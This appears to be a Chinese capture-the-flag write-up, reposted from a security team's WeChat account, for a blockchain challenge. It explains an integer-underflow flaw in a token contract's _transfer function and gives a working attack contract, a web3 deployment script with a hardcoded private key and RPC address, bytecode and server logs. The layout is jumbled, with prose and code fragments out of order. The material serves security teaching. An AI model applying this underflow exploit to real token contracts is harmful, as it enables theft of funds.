abstract contract Context { function _msgData() internal view virtual returns (bytes memory) { interface IERC20 { /** function transfer(address recipient, uint256 amount) function allowance(address owner, address spender) function approve(address spender, uint256 amount) external returns (bool); function transferFrom( event Transfer(address indexed from, address indexed to, uint256 value); /** library SafeMath { return c; function sub(uint256 a, uint256 b) internal pure returns (uint256) { function sub( return c; function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; return c; function div(uint256 a, uint256 b) internal pure returns (uint256) { function div( return c; function mod(uint256 a, uint256 b) internal pure returns (uint256) { function mod( contract ERC20 is Context, IERC20 { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; constructor(string memory name, string memory symbol) public { /** function symbol() public view returns (string memory) { function decimals() public view returns (uint8) { /** /** function transfer(address recipient, uint256 amount) function allowance(address owner, address spender) function approve(address spender, uint256 amount) function transferFrom( function increaseAllowance(address spender, uint256 addedValue) function decreaseAllowance(address spender, uint256 subtractedValue) function _transfer( function _mint(address account, uint256 amount) internal virtual { function _burn(address account, uint256 amount) internal virtual { function _approve( _allowances[owner][spender] = amount; function _setupDecimals(uint8 decimals_) internal { contract Ownable is Context { event OwnershipTransferred( constructor() internal { function owner() public view returns (address) { modifier onlyOwner() { function renounceOwnership() public virtual onlyOwner { function transferOwnership(address newOwner) public virtual onlyOwner { function burn(address _from, uint256 _amount) public { import “./erc20_fake.sol”; contract deployer { constructor() public { function solve() public returns (bool) { function isSolved() public view returns (bool) { 合约看着很长,搞了一个fishmantoken,但其实漏洞很简单,看到erc20_fake.sol里,虽然用了所谓的safemath,但是注意到合约ERC20里的_transfer函数, 做transfer的时候他还是用了减号,那依然会造成下溢,【想要用到safemath的功能,这里得用sub】 所以这里我们可以部署一个 attack合约,然后用这个合约调用transfer随便往哪里赚钱,那么他自己的账户的钱就会下溢而变得很多。 pragma solidity ^0.6.6; deployer challenge=deployer(challenge_addr); FishmenToken fishtoken=FishmenToken(fishToken_addr); // FishmenToken合约的实例 constructor() public{ 和远程交互,建立一个部署题目的账户, 然后去8080端口,有水管,往这个账户搞点eth 部署题目 好了,我们还得再自己建立一个部署攻击合约的账户,这里不能通过交互建立账户,他都不给你私钥,这里的用脚本交互去创建一个账户 然后还是,去水管往这个账户打点钱。 接下来我用remix去编译一下攻击合约,拿到他的字节码。或者也可以部署【注意到,这里肯定是部署失败的,但是我们主要想要他的bytecode】 然后我们继续用脚本,在这条私链上部署攻击合约 if __name__ == ‘__main__’: 然后交互去拿flag就好了。 erc20_fake.sol
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.6;
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
this; // silence state mutability warning without generating bytecode – see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
external
returns (bool);
external
view
returns (uint256);
address sender,
address recipient,
uint256 amount
) external returns (bool);
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, “SafeMath: addition overflow”);
}
return sub(a, b, “SafeMath: subtraction overflow”);
}
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a – b;
}
// Gas optimization: this is cheaper than requiring ‘a’ not being zero, but the
// benefit is lost if ‘b’ is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(c / a == b, “SafeMath: multiplication overflow”);
}
return div(a, b, “SafeMath: division by zero”);
}
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn‘t hold
}
return mod(a, b, “SafeMath: modulo by zero”);
}
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
using SafeMath for uint256;
string private _symbol;
uint8 private _decimals;
_name = name;
_symbol = symbol;
_decimals = 18;
}
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
return _symbol;
}
return _decimals;
}
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
“ERC20: transfer amount exceeds allowance”
)
);
return true;
}
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
“ERC20: decreased allowance below zero”
)
);
return true;
}
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), “ERC20: transfer from the zero address”);
require(recipient != address(0), “ERC20: transfer to the zero address”);
_balances[sender] = _balances[sender] – amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
}
require(account != address(0), “ERC20: mint to the zero address”);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
require(account != address(0), “ERC20: burn from the zero address”);
_balances[account] = _balances[account].sub(
amount,
“ERC20: burn amount exceeds balance”
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), “ERC20: approve from the zero address”);
require(spender != address(0), “ERC20: approve to the zero address”);
emit Approval(owner, spender, amount);
}
_decimals = decimals_;
}
}
address private _owner;
address indexed previousOwner,
address indexed newOwner
);
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
return _owner;
}
require(_owner == _msgSender(), “Ownable: caller is not the owner”);
_;
}
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
require(
newOwner != address(0),
“Ownable: new owner is the zero address”
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FishmenToken is ERC20(“FishmenToken”, “FMT”), Ownable {
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
_burn(_from, _amount);
}
}deployer.sol
pragma solidity ^0.6.6;
FishmenToken public fishmenToken;
bool public isSvd;
fishmenToken = new FishmenToken();
}
require(fishmenToken.balanceOf(msg.sender) > 100,“token balance < 100”);
isSvd = true;
}
return isSvd;
}
} function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
}
攻击合约
//SPDX-License-Identifier: UNLICENSED
import “./erc20_fake.sol”;
import “./deployer.sol”;
contract attack{
address public challenge_addr=0x52936ec23b51C2137F4B68aBECe07246bae05B1f; // nc过去,部署的题目(deployer合约)地址
bool public flag;
address public fishToken_addr=address(challenge.fishmenToken()); // 获取deployer部署的FishmenToken地址
fishtoken.transfer(challenge_addr,999); // FishmenToken里攻击合约账户往题目账户(别的啥payable的账户都行)随便转点钱
flag=challenge.solve(); // 调用一下solve完成解题
}
}解题步骤
[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 1
[+] deployer account: 0xe0Bd3B690dbB74c46d88DaFFE93ed803aEeDC1E2
[+] token: v4.local.iKzDRnediWHIiLDZoigMa-sO3kpIi8Mnz54rE_qlXEcdZLQpni6EM3E9-t5hZ2ePY0Bd2YQVRlblM4DYB4dMavNN3y_DPKUnhIui9JCOjFK0aTzO3y4nDKMXkrOfNcr5plzCzE5KMHNCk4qRHkxf86gH7cSBXNj4114S_VXrSItI0A
[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 2
[-] input your token: v4.local.iKzDRnediWHIiLDZoigMa-sO3kpIi8Mnz54rE_qlXEcdZLQpni6EM3E9-t5hZ2ePY0Bd2YQVRlblM4DYB4dMavNN3y_DPKUnhIui9JCOjFK0aTzO3y4nDKMXkrOfNcr5plzCzE5KMHNCk4qRHkxf86gH7cSBXNj4114S_VXrSItI0A
[+] contract address: 0x52936ec23b51C2137F4B68aBECe07246bae05B1f
[+] transaction hash: 0xaa10dc803284aa06242d6bff71da8134ac4a6a55dadbfe2a5f062e059f7ef2ae
from web3 import Web3,HTTPProvider
from Crypto.Util.number import *
w3=Web3(HTTPProvider("http://47.102.47.140:8545/"))
key=w3.eth.account.create()
print(hex(bytes_to_long(key.privateKey)))
account= web3.eth.account.from_key('0x719e289ff8306c4e9ff66476bf35889e24eaa475c80878a2a42c760efaed2134')
def deploy(rawTx):
signedTx = w3.eth.account.signTransaction(rawTx, private_key=account.privateKey)
hashTx = w3.eth.sendRawTransaction(signedTx.rawTransaction).hex()
receipt = w3.eth.waitForTransactionReceipt(hashTx)
return receipt
rawTx = {
‘from’: account.address,
‘nonce’: w3.eth.getTransactionCount(account.address),
‘gasPrice’: w3.toWei(1,‘gwei’),
‘gas’: 300000,
‘value’: w3.toWei(0, ‘ether’),
‘data’: ‘0x60806040527352936ec23b51c2137f4b68abece07246bae05b1f6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634fd0632f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561012157600080fd5b505afa158015610135573d6000803e3d6000fd5b505050506040513d602081101561014b57600080fd5b8101908080519060200190929190505050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561020b57600080fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e76040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156102c157600080fd5b505af11580156102d5573d6000803e3d6000fd5b505050506040513d60208110156102eb57600080fd5b810190808051906020019092919050505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663890d69086040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561036757600080fd5b505af115801561037b573d6000803e3d6000fd5b505050506040513d602081101561039157600080fd5b8101908080519060200190929190505050600060146101000a81548160ff021916908315150217905550610161806103ca6000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80636391e9b214610046578063890eba681461007a578063ba2740831461009a575b600080fd5b61004e6100ce565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100826100f4565b60405180821515815260200191505060405180910390f35b6100a2610107565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168156fea26469706673582212207ec90564a59b7a55e8597b62d3533f1080a42eaeda42d4d65975915f883fac8a64736f6c634300060c0033’,
“chainId”: 1211 #私链的chainId可以去metamask导入查一下,是1211
}
receipt = deploy(rawTx)
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):区块链RealWorld-TransferFrom